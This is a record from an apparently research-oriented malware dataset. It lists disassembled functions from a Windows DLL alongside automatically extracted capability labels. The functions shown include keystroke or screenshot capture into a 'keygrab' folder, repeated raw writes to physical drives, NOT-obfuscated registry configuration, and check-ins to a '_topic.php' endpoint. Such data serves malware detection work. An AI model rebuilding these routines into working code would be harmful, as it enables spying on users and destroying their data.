joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10011900
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.iexplore.exe
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10011998
xor eax, eax
mov word [ebp - 4], 1
xor ecx, ecx
lea esp, [esp]
mov byte [ebp + ecx - 0x104], cl
inc ecx
cmp ecx, 0x100
jl 0x10011930
xor ecx, ecx
mov dl, byte [eax + str.microsoft.public.win32.programmer.kernel]
xor byte [ebp + ecx - 0x104], dl
inc eax
cmp eax, 0x28
jl 0x10011957
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10011942
push 0x1004e230
push 0x1004e230
mov edx, 0x2d1
lea eax, [ebp - 0x104]
call fcn.10018160
mov eax, 0x1004e230
call fcn.10011320
push 0x2d1
push 0
push 0x1004e230
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x100119b3
push 0x80000001
call fcn.10011650
mov esi, eax
test esi, esi
jne 0x100119c7
push 0x80000002
call fcn.10011650
mov esi, eax
test esi, esi
je 0x10011a6a
push ebx
push edi
push 1
push 0
mov eax, esi
call fcn.100074a0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, eax
test esi, esi
je 0x100119fc
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100119fc
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x10011a68
push str.set_url
push ebx
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x10011a4c
mov edi, eax
push str.set_url
add esi, 8
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x10011a32
mov byte [esi], 0
mov eax, edi
call fcn.10011320
test esi, esi
je 0x10011a40
mov byte [esi], 0x73
mov edi, esi
test esi, esi
jne 0x10011a17
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10011a68
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10012370
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x206]
push ecx
xor ebx, ebx
mov word [ebp - 0x208], ax
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0xc
push edx
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x10012401
push 0x104
lea ecx, [ebp - 0x208]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x10012401
push esi
push edi
xor esi, esi
mov edi, 0x1004e214
mov eax, dword [edi]
test eax, eax
je 0x100123e0
push eax
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x100123f4
inc esi
add edi, 0x10
cmp esi, 1
jb 0x100123c8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
shl esi, 4
add esi, 0x1004e214
pop edi
mov ebx, esi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10012410
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
test eax, eax
je 0x1001256a
cmp dword [eax + 4], 0x201
jne 0x1001256a
mov eax, dword [eax]
push edi
push eax
call fcn.10012370
mov edi, eax
test edi, edi
je 0x10012569
push 0x1004fb38
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x10012450
mov eax, dword [edi + 4]
imul eax, eax, 0x104
push ebx
push esi
lea esi, [eax + 0x1005c058]
push esi
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [ebp - 0x108]
push ecx
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea edx, [ebp - 0x108]
push edx
call ebx
test eax, eax
je 0x100124c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x100124bf
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.keygrab
lea edx, [ebp - 0x108]
push edx
call esi
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
test eax, eax
je 0x1001250c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10012505
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [ebp - 0x108]
pop esi
lea edx, [eax + 1]
pop ebx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012524
mov ecx, dword [edi + 0xc]
push ecx
sub eax, edx
push str._02u.bmp
lea edx, [ebp + eax - 0x108]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
inc dword [edi + 0xc]
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
mov eax, dword [edi + 8]
call fcn.10012040
push 0x1004fb38
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10012570
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 0x104
push 0
push 0x10059f08
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005a9fc
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100125b8
lea edi, [ebp - 0x108]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100125c8
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x108]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10012639
push 1
push 0
lea eax, [ebp - 0x108]
call fcn.100074a0
mov esi, eax
test esi, esi
je 0x10012639
push 0x104
push esi
push 0x10059f08
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10012639
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, 0x10059f08
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10012e80
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 2
push eax
call dword [sym.imp.USER32.dll_GetAncestor]
test eax, eax
je 0x10012f36
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea esi, [ebp - 0x108]
call fcn.10012570
lea ebx, [ebx]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x10012ee0
test cl, cl
je 0x10012edc
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x10012ee0
add eax, 2
add esi, 2
test cl, cl
jne 0x10012ec0
xor eax, eax
jmp 0x10012ee5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10012f36
mov eax, dword [0x10059f00]
mov dword [0x10059f04], 1
test eax, eax
je 0x10012f2a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
mov esi, eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10012f20
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [0x10059f00], 0
lea edx, [ebp - 0x108]
push edx
call fcn.10012650
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100133f0
Capabilities:
Get disk information
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push 0x103
mov esi, eax
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x1001351e
cmp dword [esi + 0xc], 0
je 0x10013437
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x1001351e
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1001351e
cmp dword [esi + 0xc], 0
je 0x10013523
mov ecx, dword [esi + 8]
push ecx
push str..PhysicalDrive_u
lea edx, [ebp - 0x10c]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 0
push 0xa0000000
push 3
push 0
push 3
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100134f7
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
mov dword [ebp - 4], 0x3e8
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call ebx
push 0
push 0x104
push 0
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea ecx, [ebp - 8]
push ecx
push 0x104
lea edx, [ebp - 0x10c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0x104
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
dec dword [ebp - 4]
jne 0x100134a3
pop edi
pop ebx
test esi, esi
je 0x1001351e
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001351e
test byte [ebp - 4], 2
jne 0x1001351e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.10007680
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10013530
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
push esi
push edi
xor esi, esi
push 0x40c
lea eax, [ebp - 0x42c]
push esi
push eax
mov dword [ebp - 0x430], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x430]
push ecx
push 0x104
mov dword [ebp - 0x20], str.AppEvents
mov dword [ebp - 0x1c], str.Console
mov dword [ebp - 0x18], str.Control_Panel
mov dword [ebp - 0x14], str.Environment
mov dword [ebp - 0x10], str.Identities
mov dword [ebp - 0xc], str.Software
mov dword [ebp - 8], str.System
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov edi, eax
shr edi, 2
cmp edi, esi
je 0x10013682
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynA]
cmp dword [ebp - 0x430], esi
je 0x10013617
lea eax, [ebp - 0x430]
push 5
push eax
push 0x1005ddb4
call ebx
push 0x1005ddb4
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x10013605
mov eax, 0x1005ddb4
mov dword [0x1005ddc0], 0
call fcn.100133f0
inc esi
cmp dword [ebp + esi*4 - 0x430], 0
lea eax, [ebp + esi*4 - 0x430]
jne 0x100135d7
test edi, edi
jle 0x10013681
lea esi, [ebp + edi*4 - 0x430]
cmp dword [esi], 0
je 0x10013679
push 5
push esi
push 0x1005ddb4
call ebx
push 0x1005ddb4
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x10013679
mov eax, 0x1005ddb4
mov dword [0x1005ddc0], 0
call fcn.100133f0
movsx edx, byte [0x1005ddb4]
sub edx, 0x43
mov eax, 0x1005ddb4
mov dword [0x1005ddbc], edx
mov dword [0x1005ddc0], 1
call fcn.100133f0
dec edi
sub esi, 4
test edi, edi
jg 0x10013622
pop ebx
xor esi, esi
mov eax, str.AppEvents
lea esp, [esp]
push eax
push 0x80000001
call fcn.100251f0
mov eax, dword [ebp + esi*4 - 0x1c]
inc esi
test eax, eax
jne 0x10013690
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100136b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 4
test eax, eax
jne 0x10013727
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x1001371c
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x1005a6f0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
jne 0x1001377f
lea ecx, [ebp - 8]
push ecx
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x10013776
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x1005a6f0
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp ecx, dword [ebp - 4]
sbb eax, eax
neg eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10013790
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.softwaremicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x100137fa
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x1005a6f0
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x10013800
Capabilities:
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x103
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x104
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x110]
push eax
push ebx
push ebx
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
call fcn.10006c70
mov esi, dword [0x10059e84]
mov edi, eax
cmp edi, ebx
je 0x100138e3
cmp esi, ebx
je 0x100138db
mov edx, edi
mov ecx, esi
jmp 0x10013890
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x100138b0
cmp al, bl
je 0x100138ac
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x100138b0
add ecx, 2
add edx, 2
cmp al, bl
jne 0x10013890
xor eax, eax
jmp 0x100138b5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x100138e3
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100138db
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, edi
mov dword [0x10059e84], esi
mov edi, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push 1
push ebx
push edi
push edx
push 1
lea eax, [ebp - 0x110]
push eax
push str._topic.php
push ebx
mov eax, esi
call fcn.10014ab0
cmp eax, ebx
jne 0x1001392f
mov ecx, dword [ebp + 8]
push 1
push ebx
push edi
push ecx
push 1
lea edx, [ebp - 0x110]
push edx
push str._topic.php
push 1
mov eax, esi
call fcn.10014ab0
cmp eax, ebx
je 0x100139bc
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
call fcn.100074a0
mov esi, eax
cmp esi, ebx
je 0x100139bc
push ebx
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 8], 3
jb 0x10013990
movzx eax, byte [esi]
sub eax, 0x21
jne 0x10013980
movzx eax, byte [esi + 1]
sub eax, 0x6f
jne 0x10013980
movzx eax, byte [esi + 2]
sub eax, 0x6b
je 0x10013986
sar eax, 0x1f
or eax, 1
xor ecx, ecx
cmp eax, ebx
sete cl
mov dword [ebp - 4], ecx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100139b0
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10014630
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
push edi
xor edi, edi
push 0x103
mov esi, eax
lea eax, [ebp - 0x10f]
push edi
push eax
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x104
mov dword [ebp - 4], edi
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x10014768
mov edx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0x101
push edi
push str.softwaremicrosoft
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001475a
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x110]
push ecx
lea edx, [ebp - 0xc]
push edx
push edi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001475a
lea eax, [ebp - 0x110]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100146c3
sub eax, esi
je 0x100146fd
mov edi, edi
mov cl, byte [ebp + edx - 0x110]
not cl
lea eax, [ebp - 0x110]
mov byte [ebp + edx - 0x110], cl
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100146f0
sub eax, esi
cmp edx, eax
jb 0x100146d0
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014706
sub eax, edx
xor esi, esi
inc eax
je 0x1001473c
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1001473c
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
test esi, esi
je 0x1001475a
lea eax, [ebp - 0x110]
mov edx, eax
sub esi, edx
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10014750
mov eax, dword [ebp - 4]
test eax, eax
je 0x10014768
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10014780
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x100148cd
push esi
xor edi, edi
push 0x103
lea eax, [ebp - 0x113]
push edi
push eax
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], edi
mov byte [ebp - 0x114], 0
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
test esi, esi
je 0x100148c8
lea ecx, [ebp - 4]
push ecx
push 0x101
push edi
push str.softwaremicrosoft
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100148ba
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 8]
push ecx
push edi
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100148ba
lea eax, [ebp - 0x114]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014823
sub eax, esi
je 0x1001485d
mov edi, edi
mov al, byte [ebp + edx - 0x114]
not al
mov byte [ebp + edx - 0x114], al
lea eax, [ebp - 0x114]
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014850
sub eax, esi
cmp edx, eax
jb 0x10014830
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014866
sub eax, edx
xor esi, esi
inc eax
je 0x1001489c
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1001489c
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
test esi, esi
je 0x100148ba
lea eax, [ebp - 0x114]
mov ecx, eax
sub esi, ecx
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x100148b0
mov eax, dword [ebp - 4]
test eax, eax
je 0x100148c8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
test edi, edi
jne 0x100148e1
mov eax, dword [ebp + 8]
push 0x80000002
call fcn.10014630
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x100148f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
mov esi, eax
push 0x100456dc
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x10014a27
push edi
mov byte [eax], 0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb edi, edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
neg edi
push eax
add edi, 0x80000001
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0
test esi, esi
je 0x10014a20
cmp dword [ebp + 8], 0
je 0x10014a20
push 0x104
push esi
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x110]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014980
sub eax, esi
je 0x100149bd
jmp 0x10014990
mov al, byte [ebp + edx - 0x110]
not al
mov byte [ebp + edx - 0x110], al
lea eax, [ebp - 0x110]
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100149b0
sub eax, esi
cmp edx, eax
jb 0x10014990
lea ecx, [ebp - 4]
push ecx
push 0x102
push 0
push str.softwaremicrosoft
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10014a12
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100149e1
mov ecx, dword [ebp - 4]
sub eax, edx
push eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x110]
push edx
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10014a12
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10014a20
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov byte [eax], 0xa
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10014f80
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.SensApi.dll_IsNetworkAlive]
test eax, eax
je 0x10015077
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10014fb1
call dword [sym.imp.DNSAPI.dll_DnsFlushResolverCache]
push ebx
push edi
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
add esp, 0xc
push 0x104
push str.http:__
lea edx, [ebp - 0x108]
push edx
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_StrNCatA]
push 0x104
push str.www.bing.com
lea eax, [ebp - 0x108]
push eax
call edi
mov ebx, dword [sym.imp.WININET.dll_InternetCheckConnectionA]
push 0
push 1
lea ecx, [ebp - 0x108]
push ecx
call ebx
test eax, eax
jne 0x1001506b
push 0x103
push eax
lea edx, [ebp - 0x107]
push edx
mov byte [ebp - 0x108], al
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push str.http:__
lea eax, [ebp - 0x108]
push eax
call esi
push 0x104
push str.www.microsoft.com
lea ecx, [ebp - 0x108]
push ecx
call edi
push 0
push 1
lea edx, [ebp - 0x108]
push edx
call ebx
test eax, eax
je 0x1001507e
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret